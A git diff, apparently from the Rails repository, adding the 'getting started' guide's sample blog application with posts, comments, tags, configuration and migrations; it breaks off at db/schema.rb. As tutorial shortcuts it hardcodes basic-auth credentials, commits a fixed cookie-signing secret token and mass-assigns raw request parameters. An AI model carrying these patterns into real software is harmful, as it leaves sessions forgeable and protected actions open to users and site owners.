b/railties/guides/code/getting_started/app/assets/javascripts/home.js.coffee @@ -0,0 +1,3 @@ +# Place all the behaviors and hooks related to the matching controller here. +# All this logic will automatically be available in application.js. +# You can use CoffeeScript in this file: http://jashkenas.github.com/coffee-script/ diff --git a/railties/guides/code/getting_started/app/assets/javascripts/posts.js.coffee b/railties/guides/code/getting_started/app/assets/javascripts/posts.js.coffee new file mode 100644 index 0000000000..761567942f --- /dev/null +++ b/railties/guides/code/getting_started/app/assets/javascripts/posts.js.coffee @@ -0,0 +1,3 @@ +# Place all the behaviors and hooks related to the matching controller here. +# All this logic will automatically be available in application.js. +# You can use CoffeeScript in this file: http://jashkenas.github.com/coffee-script/ diff --git a/railties/guides/code/getting_started/app/assets/stylesheets/application.css b/railties/guides/code/getting_started/app/assets/stylesheets/application.css new file mode 100644 index 0000000000..fc25b5723f --- /dev/null +++ b/railties/guides/code/getting_started/app/assets/stylesheets/application.css @@ -0,0 +1,7 @@ +/* + * This is a manifest file that'll automatically include all the stylesheets available in this directory + * and any sub-directories. You're free to add application-wide styles to this file and they'll appear at + * the top of the compiled file, but it's generally better to create a new file per style scope. + *= require_self + *= require_tree . +*/
\ No newline at end of file diff --git a/railties/guides/code/getting_started/app/assets/stylesheets/comments.css.scss b/railties/guides/code/getting_started/app/assets/stylesheets/comments.css.scss new file mode 100644 index 0000000000..e730912783 --- /dev/null +++ b/railties/guides/code/getting_started/app/assets/stylesheets/comments.css.scss @@ -0,0 +1,3 @@ +// Place all the styles related to the Comments controller here. +// They will automatically be included in application.css. +// You can use Sass (SCSS) here: http://sass-lang.com/ diff --git a/railties/guides/code/getting_started/app/assets/stylesheets/home.css.scss b/railties/guides/code/getting_started/app/assets/stylesheets/home.css.scss new file mode 100644 index 0000000000..f0ddc6846a --- /dev/null +++ b/railties/guides/code/getting_started/app/assets/stylesheets/home.css.scss @@ -0,0 +1,3 @@ +// Place all the styles related to the home controller here. +// They will automatically be included in application.css. +// You can use Sass (SCSS) here: http://sass-lang.com/ diff --git a/railties/guides/code/getting_started/app/assets/stylesheets/posts.css.scss b/railties/guides/code/getting_started/app/assets/stylesheets/posts.css.scss new file mode 100644 index 0000000000..ed4dfd10f2 --- /dev/null +++ b/railties/guides/code/getting_started/app/assets/stylesheets/posts.css.scss @@ -0,0 +1,3 @@ +// Place all the styles related to the Posts controller here. +// They will automatically be included in application.css. +// You can use Sass (SCSS) here: http://sass-lang.com/ diff --git a/railties/lib/rails/generators/rails/scaffold/templates/scaffold.css.scss b/railties/guides/code/getting_started/app/assets/stylesheets/scaffolds.css.scss index 45116b53f6..05188f08ed 100644 --- a/railties/lib/rails/generators/rails/scaffold/templates/scaffold.css.scss +++ b/railties/guides/code/getting_started/app/assets/stylesheets/scaffolds.css.scss @@ -1,36 +1,39 @@ -body { background-color: #fff; color: #333; } +body { + background-color: #fff; + color: #333; + font-family: verdana, arial, helvetica, sans-serif; + font-size: 13px; + line-height: 18px; } -body, p, ol, ul, td { +p, ol, ul, td { font-family: verdana, arial, helvetica, sans-serif; - font-size: 13px; - line-height: 18px; -} + font-size: 13px; + line-height: 18px; } pre { background-color: #eee; padding: 10px; - font-size: 11px; -} + font-size: 11px; } -a { +a { color: #000; - &:visited { color: #666; } - &:hover { color: #fff; background-color:#000; } -} + &:visited { + color: #666; } + &:hover { + color: #fff; + background-color: #000; } } -div.field, div.actions { - margin-bottom: 10px; -} +div { + &.field, &.actions { + margin-bottom: 10px; } } #notice { - color: green; -} + color: green; } .field_with_errors { padding: 2px; background-color: red; - display: table; -} + display: table; } #error_explanation { width: 450px; @@ -39,7 +42,6 @@ div.field, div.actions { padding-bottom: 0; margin-bottom: 20px; background-color: #f0f0f0; - h2 { text-align: left; font-weight: bold; @@ -48,11 +50,7 @@ div.field, div.actions { margin: -7px; margin-bottom: 0px; background-color: #c00; - color: #fff; - } - + color: #fff; } ul li { font-size: 12px; - list-style: square; - } -}
\ No newline at end of file + list-style: square; } } diff --git a/railties/guides/code/getting_started/app/controllers/application_controller.rb b/railties/guides/code/getting_started/app/controllers/application_controller.rb new file mode 100644 index 0000000000..e8065d9505 --- /dev/null +++ b/railties/guides/code/getting_started/app/controllers/application_controller.rb @@ -0,0 +1,3 @@ +class ApplicationController < ActionController::Base + protect_from_forgery +end diff --git a/railties/guides/code/getting_started/app/controllers/comments_controller.rb b/railties/guides/code/getting_started/app/controllers/comments_controller.rb new file mode 100644 index 0000000000..7447fd078b --- /dev/null +++ b/railties/guides/code/getting_started/app/controllers/comments_controller.rb @@ -0,0 +1,16 @@ +class CommentsController < ApplicationController + http_basic_authenticate_with :name => "dhh", :password => "secret", :only => :destroy + def create + @post = Post.find(params[:post_id]) + @comment = @post.comments.create(params[:comment]) + redirect_to post_path(@post) + end + + def destroy + @post = Post.find(params[:post_id]) + @comment = @post.comments.find(params[:id]) + @comment.destroy + redirect_to post_path(@post) + end + +end diff --git a/railties/guides/code/getting_started/app/controllers/home_controller.rb b/railties/guides/code/getting_started/app/controllers/home_controller.rb new file mode 100644 index 0000000000..6cc31c1ca3 --- /dev/null +++ b/railties/guides/code/getting_started/app/controllers/home_controller.rb @@ -0,0 +1,5 @@ +class HomeController < ApplicationController + def index + end + +end diff --git a/railties/guides/code/getting_started/app/controllers/posts_controller.rb b/railties/guides/code/getting_started/app/controllers/posts_controller.rb new file mode 100644 index 0000000000..7e903c984c --- /dev/null +++ b/railties/guides/code/getting_started/app/controllers/posts_controller.rb @@ -0,0 +1,84 @@ +class PostsController < ApplicationController + http_basic_authenticate_with :name => "dhh", :password => "secret", :except => :index + # GET /posts + # GET /posts.json + def index + @posts = Post.all + + respond_to do |format| + format.html # index.html.erb + format.json { render json: @posts } + end + end + + # GET /posts/1 + # GET /posts/1.json + def show + @post = Post.find(params[:id]) + + respond_to do |format| + format.html # show.html.erb + format.json { render json: @post } + end + end + + # GET /posts/new + # GET /posts/new.json + def new + @post = Post.new + + respond_to do |format| + format.html # new.html.erb + format.json { render json: @post } + end + end + + # GET /posts/1/edit + def edit + @post = Post.find(params[:id]) + end + + # POST /posts + # POST /posts.json + def create + @post = Post.new(params[:post]) + + respond_to do |format| + if @post.save + format.html { redirect_to @post, notice: 'Post was successfully created.' } + format.json { render json: @post, status: :created, location: @post } + else + format.html { render action: "new" } + format.json { render json: @post.errors, status: :unprocessable_entity } + end + end + end + + # PUT /posts/1 + # PUT /posts/1.json + def update + @post = Post.find(params[:id]) + + respond_to do |format| + if @post.update_attributes(params[:post]) + format.html { redirect_to @post, notice: 'Post was successfully updated.' } + format.json { head :ok } + else + format.html { render action: "edit" } + format.json { render json: @post.errors, status: :unprocessable_entity } + end + end + end + + # DELETE /posts/1 + # DELETE /posts/1.json + def destroy + @post = Post.find(params[:id]) + @post.destroy + + respond_to do |format| + format.html { redirect_to posts_url } + format.json { head :ok } + end + end +end diff --git a/railties/guides/code/getting_started/app/helpers/application_helper.rb b/railties/guides/code/getting_started/app/helpers/application_helper.rb new file mode 100644 index 0000000000..de6be7945c --- /dev/null +++ b/railties/guides/code/getting_started/app/helpers/application_helper.rb @@ -0,0 +1,2 @@ +module ApplicationHelper +end diff --git a/railties/guides/code/getting_started/app/helpers/comments_helper.rb b/railties/guides/code/getting_started/app/helpers/comments_helper.rb new file mode 100644 index 0000000000..0ec9ca5f2d --- /dev/null +++ b/railties/guides/code/getting_started/app/helpers/comments_helper.rb @@ -0,0 +1,2 @@ +module CommentsHelper +end diff --git a/railties/guides/code/getting_started/app/helpers/home_helper.rb b/railties/guides/code/getting_started/app/helpers/home_helper.rb new file mode 100644 index 0000000000..23de56ac60 --- /dev/null +++ b/railties/guides/code/getting_started/app/helpers/home_helper.rb @@ -0,0 +1,2 @@ +module HomeHelper +end diff --git a/railties/guides/code/getting_started/app/helpers/posts_helper.rb b/railties/guides/code/getting_started/app/helpers/posts_helper.rb new file mode 100644 index 0000000000..b6e8e67894 --- /dev/null +++ b/railties/guides/code/getting_started/app/helpers/posts_helper.rb @@ -0,0 +1,5 @@ +module PostsHelper + def join_tags(post) + post.tags.map { |t| t.name }.join(", ") + end +end diff --git a/railties/guides/code/getting_started/app/mailers/.gitkeep b/railties/guides/code/getting_started/app/mailers/.gitkeep new file mode 100644 index 0000000000..e69de29bb2 --- /dev/null +++ b/railties/guides/code/getting_started/app/mailers/.gitkeep diff --git a/railties/guides/code/getting_started/app/models/.gitkeep b/railties/guides/code/getting_started/app/models/.gitkeep new file mode 100644 index 0000000000..e69de29bb2 --- /dev/null +++ b/railties/guides/code/getting_started/app/models/.gitkeep diff --git a/railties/guides/code/getting_started/app/models/comment.rb b/railties/guides/code/getting_started/app/models/comment.rb new file mode 100644 index 0000000000..4e76c5b5b0 --- /dev/null +++ b/railties/guides/code/getting_started/app/models/comment.rb @@ -0,0 +1,3 @@ +class Comment < ActiveRecord::Base + belongs_to :post +end diff --git a/railties/guides/code/getting_started/app/models/post.rb b/railties/guides/code/getting_started/app/models/post.rb new file mode 100644 index 0000000000..61c2b5ae44 --- /dev/null +++ b/railties/guides/code/getting_started/app/models/post.rb @@ -0,0 +1,11 @@ +class Post < ActiveRecord::Base + validates :name, :presence => true + validates :title, :presence => true, + :length => { :minimum => 5 } + + has_many :comments, :dependent => :destroy + has_many :tags + + accepts_nested_attributes_for :tags, :allow_destroy => :true, + :reject_if => proc { |attrs| attrs.all? { |k, v| v.blank? } } +end diff --git a/railties/guides/code/getting_started/app/models/tag.rb b/railties/guides/code/getting_started/app/models/tag.rb new file mode 100644 index 0000000000..30992e8ba9 --- /dev/null +++ b/railties/guides/code/getting_started/app/models/tag.rb @@ -0,0 +1,3 @@ +class Tag < ActiveRecord::Base + belongs_to :post +end diff --git a/railties/guides/code/getting_started/app/views/comments/_comment.html.erb b/railties/guides/code/getting_started/app/views/comments/_comment.html.erb new file mode 100644 index 0000000000..4c3fbf26cd --- /dev/null +++ b/railties/guides/code/getting_started/app/views/comments/_comment.html.erb @@ -0,0 +1,15 @@ +<p> + <b>Commenter:</b> + <%= comment.commenter %> +</p> + +<p> + <b>Comment:</b> + <%= comment.body %> +</p> + +<p> + <%= link_to 'Destroy Comment', [comment.post, comment], + :confirm => 'Are you sure?', + :method => :delete %> +</p> diff --git a/railties/guides/code/getting_started/app/views/comments/_form.html.erb b/railties/guides/code/getting_started/app/views/comments/_form.html.erb new file mode 100644 index 0000000000..d15bdd6b59 --- /dev/null +++ b/railties/guides/code/getting_started/app/views/comments/_form.html.erb @@ -0,0 +1,13 @@ +<%= form_for([@post, @post.comments.build]) do |f| %> + <div class="field"> + <%= f.label :commenter %><br /> + <%= f.text_field :commenter %> + </div> + <div class="field"> + <%= f.label :body %><br /> + <%= f.text_area :body %> + </div> + <div class="actions"> + <%= f.submit %> + </div> +<% end %> diff --git a/railties/guides/code/getting_started/app/views/home/index.html.erb b/railties/guides/code/getting_started/app/views/home/index.html.erb new file mode 100644 index 0000000000..bb4f3dcd1f --- /dev/null +++ b/railties/guides/code/getting_started/app/views/home/index.html.erb @@ -0,0 +1,2 @@ +<h1>Hello, Rails!</h1> +<%= link_to "My Blog", posts_path %> diff --git a/railties/guides/code/getting_started/app/views/layouts/application.html.erb b/railties/guides/code/getting_started/app/views/layouts/application.html.erb new file mode 100644 index 0000000000..1e1e4b9a99 --- /dev/null +++ b/railties/guides/code/getting_started/app/views/layouts/application.html.erb @@ -0,0 +1,14 @@ +<!DOCTYPE html> +<html> +<head> + <title>Blog</title> + <%= stylesheet_link_tag "application" %> + <%= javascript_include_tag "application" %> + <%= csrf_meta_tags %> +</head> +<body style="background: #EEEEEE;"> + +<%= yield %> + +</body> +</html> diff --git a/railties/guides/code/getting_started/app/views/posts/_form.html.erb b/railties/guides/code/getting_started/app/views/posts/_form.html.erb new file mode 100644 index 0000000000..e27da7f413 --- /dev/null +++ b/railties/guides/code/getting_started/app/views/posts/_form.html.erb @@ -0,0 +1,32 @@ +<% @post.tags.build %> +<%= form_for(@post) do |post_form| %> + <% if @post.errors.any? %> + <div id="errorExplanation"> + <h2><%= pluralize(@post.errors.count, "error") %> prohibited this post from being saved:</h2> + <ul> + <% @post.errors.full_messages.each do |msg| %> + <li><%= msg %></li> + <% end %> + </ul> + </div> + <% end %> + + <div class="field"> + <%= post_form.label :name %><br /> + <%= post_form.text_field :name %> + </div> + <div class="field"> + <%= post_form.label :title %><br /> + <%= post_form.text_field :title %> + </div> + <div class="field"> + <%= post_form.label :content %><br /> + <%= post_form.text_area :content %> + </div> + <h2>Tags</h2> + <%= render :partial => 'tags/form', + :locals => {:form => post_form} %> + <div class="actions"> + <%= post_form.submit %> + </div> +<% end %> diff --git a/railties/guides/code/getting_started/app/views/posts/edit.html.erb b/railties/guides/code/getting_started/app/views/posts/edit.html.erb new file mode 100644 index 0000000000..720580236b --- /dev/null +++ b/railties/guides/code/getting_started/app/views/posts/edit.html.erb @@ -0,0 +1,6 @@ +<h1>Editing post</h1> + +<%= render 'form' %> + +<%= link_to 'Show', @post %> | +<%= link_to 'Back', posts_path %> diff --git a/railties/guides/code/getting_started/app/views/posts/index.html.erb b/railties/guides/code/getting_started/app/views/posts/index.html.erb new file mode 100644 index 0000000000..45dee1b25f --- /dev/null +++ b/railties/guides/code/getting_started/app/views/posts/index.html.erb @@ -0,0 +1,27 @@ +<h1>Listing posts</h1> + +<table> + <tr> + <th>Name</th> + <th>Title</th> + <th>Content</th> + <th></th> + <th></th> + <th></th> + </tr> + +<% @posts.each do |post| %> + <tr> + <td><%= post.name %></td> + <td><%= post.title %></td> + <td><%= post.content %></td> + <td><%= link_to 'Show', post %></td> + <td><%= link_to 'Edit', edit_post_path(post) %></td> + <td><%= link_to 'Destroy', post, confirm: 'Are you sure?', method: :delete %></td> + </tr> +<% end %> +</table> + +<br /> + +<%= link_to 'New Post', new_post_path %> diff --git a/railties/guides/code/getting_started/app/views/posts/new.html.erb b/railties/guides/code/getting_started/app/views/posts/new.html.erb new file mode 100644 index 0000000000..36ad7421f9 --- /dev/null +++ b/railties/guides/code/getting_started/app/views/posts/new.html.erb @@ -0,0 +1,5 @@ +<h1>New post</h1> + +<%= render 'form' %> + +<%= link_to 'Back', posts_path %> diff --git a/railties/guides/code/getting_started/app/views/posts/show.html.erb b/railties/guides/code/getting_started/app/views/posts/show.html.erb new file mode 100644 index 0000000000..da78a9527b --- /dev/null +++ b/railties/guides/code/getting_started/app/views/posts/show.html.erb @@ -0,0 +1,31 @@ +<p class="notice"><%= notice %></p> + +<p> + <b>Name:</b> + <%= @post.name %> +</p> + +<p> + <b>Title:</b> + <%= @post.title %> +</p> + +<p> + <b>Content:</b> + <%= @post.content %> +</p> + +<p> + <b>Tags:</b> + <%= join_tags(@post) %> +</p> + +<h2>Comments</h2> +<%= render @post.comments %> + +<h2>Add a comment:</h2> +<%= render "comments/form" %> + + +<%= link_to 'Edit Post', edit_post_path(@post) %> | +<%= link_to 'Back to Posts', posts_path %> | diff --git a/railties/guides/code/getting_started/app/views/tags/_form.html.erb b/railties/guides/code/getting_started/app/views/tags/_form.html.erb new file mode 100644 index 0000000000..7e424b0e20 --- /dev/null +++ b/railties/guides/code/getting_started/app/views/tags/_form.html.erb @@ -0,0 +1,12 @@ +<%= form.fields_for :tags do |tag_form| %> + <div class="field"> + <%= tag_form.label :name, 'Tag:' %> + <%= tag_form.text_field :name %> + </div> + <% unless tag_form.object.nil? || tag_form.object.new_record? %> + <div class="field"> + <%= tag_form.label :_destroy, 'Remove:' %> + <%= tag_form.check_box :_destroy %> + </div> + <% end %> +<% end %> diff --git a/railties/guides/code/getting_started/config.ru b/railties/guides/code/getting_started/config.ru new file mode 100644 index 0000000000..ddf869e921 --- /dev/null +++ b/railties/guides/code/getting_started/config.ru @@ -0,0 +1,4 @@ +# This file is used by Rack-based servers to start the application. + +require ::File.expand_path('../config/environment', __FILE__) +run Blog::Application diff --git a/railties/guides/code/getting_started/config/application.rb b/railties/guides/code/getting_started/config/application.rb new file mode 100644 index 0000000000..e914b5a80e --- /dev/null +++ b/railties/guides/code/getting_started/config/application.rb @@ -0,0 +1,48 @@ +require File.expand_path('../boot', __FILE__) + +require 'rails/all' + +if defined?(Bundler) + # If you precompile assets before deploying to production, use this line + Bundler.require *Rails.groups(:assets => %w(development test)) + # If you want your assets lazily compiled in production, use this line + # Bundler.require(:default, :assets, Rails.env) +end + +module Blog + class Application < Rails::Application + # Settings in config/environments/* take precedence over those specified here. + # Application configuration should go into files in config/initializers + # -- all .rb files in that directory are automatically loaded. + + # Custom directories with classes and modules you want to be autoloadable. + # config.autoload_paths += %W(#{config.root}/extras) + + # Only load the plugins named here, in the order given (default is alphabetical). + # :all can be used as a placeholder for all plugins not explicitly named. + # config.plugins = [ :exception_notification, :ssl_requirement, :all ] + + # Activate observers that should always be running. + # config.active_record.observers = :cacher, :garbage_collector, :forum_observer + + # Set Time.zone default to the specified zone and make Active Record auto-convert to this zone. + # Run "rake -D time" for a list of tasks for finding time zone names. Default is UTC. + # config.time_zone = 'Central Time (US & Canada)' + + # The default locale is :en and all translations from config/locales/*.rb,yml are auto loaded. + # config.i18n.load_path += Dir[Rails.root.join('my', 'locales', '*.{rb,yml}').to_s] + # config.i18n.default_locale = :de + + # Configure the default encoding used in templates for Ruby 1.9. + config.encoding = "utf-8" + + # Configure sensitive parameters which will be filtered from the log file. + config.filter_parameters += [:password] + + # Enable the asset pipeline + config.assets.enabled = true + + # Version of your assets, change this if you want to expire all your assets + config.assets.version = '1.0' + end +end diff --git a/railties/guides/code/getting_started/config/boot.rb b/railties/guides/code/getting_started/config/boot.rb new file mode 100644 index 0000000000..4489e58688 --- /dev/null +++ b/railties/guides/code/getting_started/config/boot.rb @@ -0,0 +1,6 @@ +require 'rubygems' + +# Set up gems listed in the Gemfile. +ENV['BUNDLE_GEMFILE'] ||= File.expand_path('../../Gemfile', __FILE__) + +require 'bundler/setup' if File.exists?(ENV['BUNDLE_GEMFILE']) diff --git a/railties/guides/code/getting_started/config/database.yml b/railties/guides/code/getting_started/config/database.yml new file mode 100644 index 0000000000..51a4dd459d --- /dev/null +++ b/railties/guides/code/getting_started/config/database.yml @@ -0,0 +1,25 @@ +# SQLite version 3.x +# gem install sqlite3 +# +# Ensure the SQLite 3 gem is defined in your Gemfile +# gem 'sqlite3' +development: + adapter: sqlite3 + database: db/development.sqlite3 + pool: 5 + timeout: 5000 + +# Warning: The database defined as "test" will be erased and +# re-generated from your development database when you run "rake". +# Do not set this db to the same as development or production. +test: + adapter: sqlite3 + database: db/test.sqlite3 + pool: 5 + timeout: 5000 + +production: + adapter: sqlite3 + database: db/production.sqlite3 + pool: 5 + timeout: 5000 diff --git a/railties/guides/code/getting_started/config/environment.rb b/railties/guides/code/getting_started/config/environment.rb new file mode 100644 index 0000000000..8f728b7ce7 --- /dev/null +++ b/railties/guides/code/getting_started/config/environment.rb @@ -0,0 +1,5 @@ +# Load the rails application +require File.expand_path('../application', __FILE__) + +# Initialize the rails application +Blog::Application.initialize! diff --git a/railties/guides/code/getting_started/config/environments/development.rb b/railties/guides/code/getting_started/config/environments/development.rb new file mode 100644 index 0000000000..89932bf19b --- /dev/null +++ b/railties/guides/code/getting_started/config/environments/development.rb @@ -0,0 +1,30 @@ +Blog::Application.configure do + # Settings specified here will take precedence over those in config/application.rb + + # In the development environment your application's code is reloaded on + # every request. This slows down response time but is perfect for development + # since you don't have to restart the web server when you make code changes. + config.cache_classes = false + + # Log error messages when you accidentally call methods on nil. + config.whiny_nils = true + + # Show full error reports and disable caching + config.consider_all_requests_local = true + config.action_controller.perform_caching = false + + # Don't care if the mailer can't send + config.action_mailer.raise_delivery_errors = false + + # Print deprecation notices to the Rails logger + config.active_support.deprecation = :log + + # Only use best-standards-support built into browsers + config.action_dispatch.best_standards_support = :builtin + + # Do not compress assets + config.assets.compress = false + + # Expands the lines which load the assets + config.assets.debug = true +end diff --git a/railties/guides/code/getting_started/config/environments/production.rb b/railties/guides/code/getting_started/config/environments/production.rb new file mode 100644 index 0000000000..dee8acfdfe --- /dev/null +++ b/railties/guides/code/getting_started/config/environments/production.rb @@ -0,0 +1,63 @@ +Blog::Application.configure do + # Settings specified here will take precedence over those in config/application.rb + + # Code is not reloaded between requests + config.cache_classes = true + + # Full error reports are disabled and caching is turned on + config.consider_all_requests_local = false + config.action_controller.perform_caching = true + + # Disable Rails's static asset server (Apache or nginx will already do this) + config.serve_static_assets = false + + # Compress JavaScripts and CSS + config.assets.compress = true + + # Don't fallback to assets pipeline if a precompiled asset is missed + config.assets.compile = false + + # Generate digests for assets URLs + config.assets.digest = true + + # Defaults to Rails.root.join("public/assets") + # config.assets.manifest = YOUR_PATH + + # Specifies the header that your server uses for sending files + # config.action_dispatch.x_sendfile_header = "X-Sendfile" # for apache + # config.action_dispatch.x_sendfile_header = 'X-Accel-Redirect' # for nginx + + # Force all access to the app over SSL, use Strict-Transport-Security, and use secure cookies. + # config.force_ssl = true + + # See everything in the log (default is :info) + # config.log_level = :debug + + # Prepend all log lines with the following tags + # config.log_tags = [ :subdomain, :uuid ] + + # Use a different logger for distributed setups + # config.logger = ActiveSupport::TaggedLogging.new(SyslogLogger.new) + + # Use a different cache store in production + # config.cache_store = :mem_cache_store + + # Enable serving of images, stylesheets, and JavaScripts from an asset server + # config.action_controller.asset_host = "http://assets.example.com" + + # Precompile additional assets (application.js, application.css, and all non-JS/CSS are already added) + # config.assets.precompile += %w( search.js ) + + # Disable delivery errors, bad email addresses will be ignored + # config.action_mailer.raise_delivery_errors = false + + # Enable threaded mode + # config.threadsafe! + + # Enable locale fallbacks for I18n (makes lookups for any locale fall back to + # the I18n.default_locale when a translation can not be found) + config.i18n.fallbacks = true + + # Send deprecation notices to registered listeners + config.active_support.deprecation = :notify +end diff --git a/railties/guides/code/getting_started/config/environments/test.rb b/railties/guides/code/getting_started/config/environments/test.rb new file mode 100644 index 0000000000..833241ace3 --- /dev/null +++ b/railties/guides/code/getting_started/config/environments/test.rb @@ -0,0 +1,42 @@ +Blog::Application.configure do + # Settings specified here will take precedence over those in config/application.rb + + # The test environment is used exclusively to run your application's + # test suite. You never need to work with it otherwise. Remember that + # your test database is "scratch space" for the test suite and is wiped + # and recreated between test runs. Don't rely on the data there! + config.cache_classes = true + + # Configure static asset server for tests with Cache-Control for performance + config.serve_static_assets = true + config.static_cache_control = "public, max-age=3600" + + # Log error messages when you accidentally call methods on nil + config.whiny_nils = true + + # Show full error reports and disable caching + config.consider_all_requests_local = true + config.action_controller.perform_caching = false + + # Raise exceptions instead of rendering exception templates + config.action_dispatch.show_exceptions = false + + # Disable request forgery protection in test environment + config.action_controller.allow_forgery_protection = false + + # Tell Action Mailer not to deliver emails to the real world. + # The :test delivery method accumulates sent emails in the + # ActionMailer::Base.deliveries array. + config.action_mailer.delivery_method = :test + + # Use SQL instead of Active Record's schema dumper when creating the test database. + # This is necessary if your schema can't be completely dumped by the schema dumper, + # like if you have constraints or database-specific column types + # config.active_record.schema_format = :sql + + # Print deprecation notices to the stderr + config.active_support.deprecation = :stderr + + # Allow pass debug_assets=true as a query parameter to load pages with unpackaged assets + config.assets.allow_debugging = true +end diff --git a/railties/guides/code/getting_started/config/initializers/backtrace_silencers.rb b/railties/guides/code/getting_started/config/initializers/backtrace_silencers.rb new file mode 100644 index 0000000000..59385cdf37 --- /dev/null +++ b/railties/guides/code/getting_started/config/initializers/backtrace_silencers.rb @@ -0,0 +1,7 @@ +# Be sure to restart your server when you modify this file. + +# You can add backtrace silencers for libraries that you're using but don't wish to see in your backtraces. +# Rails.backtrace_cleaner.add_silencer { |line| line =~ /my_noisy_library/ } + +# You can also remove all the silencers if you're trying to debug a problem that might stem from framework code. +# Rails.backtrace_cleaner.remove_silencers! diff --git a/railties/guides/code/getting_started/config/initializers/inflections.rb b/railties/guides/code/getting_started/config/initializers/inflections.rb new file mode 100644 index 0000000000..9e8b0131f8 --- /dev/null +++ b/railties/guides/code/getting_started/config/initializers/inflections.rb @@ -0,0 +1,10 @@ +# Be sure to restart your server when you modify this file. + +# Add new inflection rules using the following format +# (all these examples are active by default): +# ActiveSupport::Inflector.inflections do |inflect| +# inflect.plural /^(ox)$/i, '\1en' +# inflect.singular /^(ox)en/i, '\1' +# inflect.irregular 'person', 'people' +# inflect.uncountable %w( fish sheep ) +# end diff --git a/railties/guides/code/getting_started/config/initializers/mime_types.rb b/railties/guides/code/getting_started/config/initializers/mime_types.rb new file mode 100644 index 0000000000..72aca7e441 --- /dev/null +++ b/railties/guides/code/getting_started/config/initializers/mime_types.rb @@ -0,0 +1,5 @@ +# Be sure to restart your server when you modify this file. + +# Add new mime types for use in respond_to blocks: +# Mime::Type.register "text/richtext", :rtf +# Mime::Type.register_alias "text/html", :iphone diff --git a/railties/guides/code/getting_started/config/initializers/secret_token.rb b/railties/guides/code/getting_started/config/initializers/secret_token.rb new file mode 100644 index 0000000000..b0c8ee23c1 --- /dev/null +++ b/railties/guides/code/getting_started/config/initializers/secret_token.rb @@ -0,0 +1,7 @@ +# Be sure to restart your server when you modify this file. + +# Your secret key for verifying the integrity of signed cookies. +# If you change this key, all old signed cookies will become invalid! +# Make sure the secret is at least 30 characters and all random, +# no regular words or you'll be exposed to dictionary attacks. +Blog::Application.config.secret_token = '685a9bf865b728c6549a191c90851c1b5ec41ecb60b9e94ad79dd3f824749798aa7b5e94431901960bee57809db0947b481570f7f13376b7ca190fa28099c459' diff --git a/railties/guides/code/getting_started/config/initializers/session_store.rb b/railties/guides/code/getting_started/config/initializers/session_store.rb new file mode 100644 index 0000000000..1a67af58b5 --- /dev/null +++ b/railties/guides/code/getting_started/config/initializers/session_store.rb @@ -0,0 +1,8 @@ +# Be sure to restart your server when you modify this file. + +Blog::Application.config.session_store :cookie_store, key: '_blog_session' + +# Use the database for sessions instead of the cookie-based default, +# which shouldn't be used to store highly confidential information +# (create the session table with "rails generate session_migration") +# Blog::Application.config.session_store :active_record_store diff --git a/railties/guides/code/getting_started/config/initializers/wrap_parameters.rb b/railties/guides/code/getting_started/config/initializers/wrap_parameters.rb new file mode 100644 index 0000000000..999df20181 --- /dev/null +++ b/railties/guides/code/getting_started/config/initializers/wrap_parameters.rb @@ -0,0 +1,14 @@ +# Be sure to restart your server when you modify this file. +# +# This file contains settings for ActionController::ParamsWrapper which +# is enabled by default. + +# Enable parameter wrapping for JSON. You can disable this by setting :format to an empty array. +ActiveSupport.on_load(:action_controller) do + wrap_parameters format: [:json] +end + +# Disable root element in JSON by default. +ActiveSupport.on_load(:active_record) do + self.include_root_in_json = false +end diff --git a/railties/guides/code/getting_started/config/locales/en.yml b/railties/guides/code/getting_started/config/locales/en.yml new file mode 100644 index 0000000000..179c14ca52 --- /dev/null +++ b/railties/guides/code/getting_started/config/locales/en.yml @@ -0,0 +1,5 @@ +# Sample localization file for English. Add more files in this directory for other locales. +# See https://github.com/svenfuchs/rails-i18n/tree/master/rails%2Flocale for starting points. + +en: + hello: "Hello world" diff --git a/railties/guides/code/getting_started/config/routes.rb b/railties/guides/code/getting_started/config/routes.rb new file mode 100644 index 0000000000..31f0d210db --- /dev/null +++ b/railties/guides/code/getting_started/config/routes.rb @@ -0,0 +1,64 @@ +Blog::Application.routes.draw do + resources :posts do + resources :comments + end + + get "home/index" + + # The priority is based upon order of creation: + # first created -> highest priority. + + # Sample of regular route: + # match 'products/:id' => 'catalog#view' + # Keep in mind you can assign values other than :controller and :action + + # Sample of named route: + # match 'products/:id/purchase' => 'catalog#purchase', :as => :purchase + # This route can be invoked with purchase_url(:id => product.id) + + # Sample resource route (maps HTTP verbs to controller actions automatically): + # resources :products + + # Sample resource route with options: + # resources :products do + # member do + # get 'short' + # post 'toggle' + # end + # + # collection do + # get 'sold' + # end + # end + + # Sample resource route with sub-resources: + # resources :products do + # resources :comments, :sales + # resource :seller + # end + + # Sample resource route with more complex sub-resources + # resources :products do + # resources :comments + # resources :sales do + # get 'recent', :on => :collection + # end + # end + + # Sample resource route within a namespace: + # namespace :admin do + # # Directs /admin/products/* to Admin::ProductsController + # # (app/controllers/admin/products_controller.rb) + # resources :products + # end + + # You can have the root of your site routed with "root" + # just remember to delete public/index.html. + root :to => "home#index" + + # See how all your routes lay out with "rake routes" + + # This is a legacy wild controller route that's not recommended for RESTful applications. + # Note: This route will make all actions in every controller accessible via GET requests. + # match ':controller(/:action(/:id(.:format)))' +end diff --git a/railties/guides/code/getting_started/db/migrate/20110901012504_create_posts.rb b/railties/guides/code/getting_started/db/migrate/20110901012504_create_posts.rb new file mode 100644 index 0000000000..d45a961523 --- /dev/null +++ b/railties/guides/code/getting_started/db/migrate/20110901012504_create_posts.rb @@ -0,0 +1,11 @@ +class CreatePosts < ActiveRecord::Migration + def change + create_table :posts do |t| + t.string :name + t.string :title + t.text :content + + t.timestamps + end + end +end diff --git a/railties/guides/code/getting_started/db/migrate/20110901012815_create_comments.rb b/railties/guides/code/getting_started/db/migrate/20110901012815_create_comments.rb new file mode 100644 index 0000000000..adda8078c1 --- /dev/null +++ b/railties/guides/code/getting_started/db/migrate/20110901012815_create_comments.rb @@ -0,0 +1,12 @@ +class CreateComments < ActiveRecord::Migration + def change + create_table :comments do |t| + t.string :commenter + t.text :body + t.references :post + + t.timestamps + end + add_index :comments, :post_id + end +end diff --git a/railties/guides/code/getting_started/db/migrate/20110901013701_create_tags.rb b/railties/guides/code/getting_started/db/migrate/20110901013701_create_tags.rb new file mode 100644 index 0000000000..cf95b1c3d0 --- /dev/null +++ b/railties/guides/code/getting_started/db/migrate/20110901013701_create_tags.rb @@ -0,0 +1,11 @@ +class CreateTags < ActiveRecord::Migration + def change + create_table :tags do |t| + t.string :name + t.references :post + + t.timestamps + end + add_index :tags, :post_id + end +end diff --git a/railties/guides/code/getting_started/db/schema.rb b/railties/guides/code/getting_started/db/schema.rb new 